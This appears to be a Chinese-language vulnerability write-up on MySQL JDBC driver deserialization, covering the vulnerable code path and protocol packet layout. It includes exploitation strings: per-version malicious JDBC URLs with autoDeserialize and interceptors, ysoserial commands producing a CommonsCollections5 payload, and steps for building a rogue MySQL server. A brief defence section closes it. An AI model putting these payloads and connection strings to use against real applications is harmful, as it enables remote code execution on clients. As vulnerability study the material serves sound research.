MySQL JDBC 反序列化分析
字数 2217 2025-08-06 08:35:22
MySQL JDBC 反序列化漏洞分析与利用
漏洞背景
MySQL JDBC驱动中存在反序列化漏洞,当特定条件满足时,攻击者可以通过精心构造的MySQL服务器响应触发JDBC客户端的反序列化操作,从而导致远程代码执行。
漏洞分析
反序列化入口点
漏洞的核心在于ResultSetImpl#getObject方法中对BLOB类型数据的处理:
public Object getObject(int columnIndex) throws SQLException {
Field field = this.columnDefinition.getFields()[columnIndexMinusOne];
switch (field.getMysqlType()) {
case BIT:
if (field.isBinary() || field.isBlob()) {
byte[] data = getBytes(columnIndex);
if (this.connection.getPropertySet().getBooleanProperty(PropertyDefinitions.PNAME_autoDeserialize).getValue()) {
Object obj = data;
if ((data != null) && (data.length >= 2)) {
if ((data[0] == -84) && (data[1] == -19)) { // Java序列化魔术头
try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject(); // 反序列化点
objIn.close();
bytesIn.close();
}
}
}
return obj;
}
return data;
}
关键条件:
- 数据类型必须为BLOB
autoDeserialize属性必须设置为true- 数据前两个字节必须是Java序列化对象的魔术头(-84, -19)
触发链
利用链如下:
mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#preProcess/postProcess
→ com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues
→ com.mysql.cj.jdbc.util.ResultSetUtil#resultSetToMap
→ com.mysql.cj.jdbc.result.ResultSetImpl#getObject
不同版本的利用方式
ServerStatusDiffInterceptor触发:
- 8.x:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor - 6.x:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor - 5.1.11及以上5.x:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor - 5.1.10及以下5.1.x: 同上,但需要连接后执行查询
- 5.0.x: 不支持
detectCustomCollations触发:
- 5.1.41及以上: 不可用
- 5.1.29-5.1.40:
jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true - 5.1.28-5.1.19:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true - 5.1.18以下5.1.x: 不可用
- 5.0.x: 不可用
MySQL私有协议分析
基本数据包格式
| 类型 | 名称 | 描述 |
|---|---|---|
| int<3> | payload_length | 数据包内容长度(不包括头部4字节) |
| int<1> | sequence_id | 包序列ID,从0开始 |
| string | payload | 具体数据内容 |
结果集数据包格式
- Result Set Header - 返回数据的列数量
- Field - 返回数据的列信息(多个)
- Row Data - 行数据(多个)
- EOF - 数据结束
Field结构详解
Field包包含以下关键信息:
- 列类型(必须为BLOB,对应0xFC)
- 标识位(flags),必须包含BINARY_FLAG(0x0080)
类型对照表
| 值 | 类型 |
|---|---|
| 0xF9 | FIELD_TYPE_TINY_BLOB |
| 0xFA | FIELD_TYPE_MEDIUM_BLOB |
| 0xFB | FIELD_TYPE_LONG_BLOB |
| 0xFC | FIELD_TYPE_BLOB |
| ... | ... |
Flags对照表
| 值 | 含义 |
|---|---|
| 0x0080 | BINARY_FLAG |
| 0x0010 | BLOB_FLAG |
| ... | ... |
漏洞利用实践
生成Payload
使用ysoserial生成反序列化payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 calc > payload.ser
注意:在PowerShell中生成时可能会出现问题,建议使用:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 calc | Out-File -Encoding default payload.ser
构造恶意MySQL服务器
恶意服务器需要:
- 响应包含BLOB类型的结果集
- 数据前两个字节为Java序列化魔术头(-84, -19)
- 最后响应一个SHOW WARNING,否则会报错
数据包构造示例
- Result Set Header:表示返回1列
- Field:构造为BLOB类型且包含BINARY_FLAG
- Row Data:包含序列化payload
- EOF:结束标记
注意事项
- 高版本MySQL协议格式有变化,旧格式可能不兼容
- 需要发送两个结果集,因为代码会读取两个对象
- 必须正确设置BLOB类型和BINARY标志
- 最后需要响应SHOW WARNING以避免错误
防御措施
- 禁用autoDeserialize属性
- 限制JDBC连接字符串的可控性
- 使用最新版本的MySQL JDBC驱动
- 实施网络层面的防护,限制数据库连接来源
总结
该漏洞利用MySQL JDBC驱动对BLOB类型数据的反序列化处理,通过精心构造的MySQL服务器响应触发反序列化操作。理解MySQL私有协议和JDBC驱动的内部机制是成功利用的关键。防御方面应重点控制JDBC连接参数并保持驱动更新。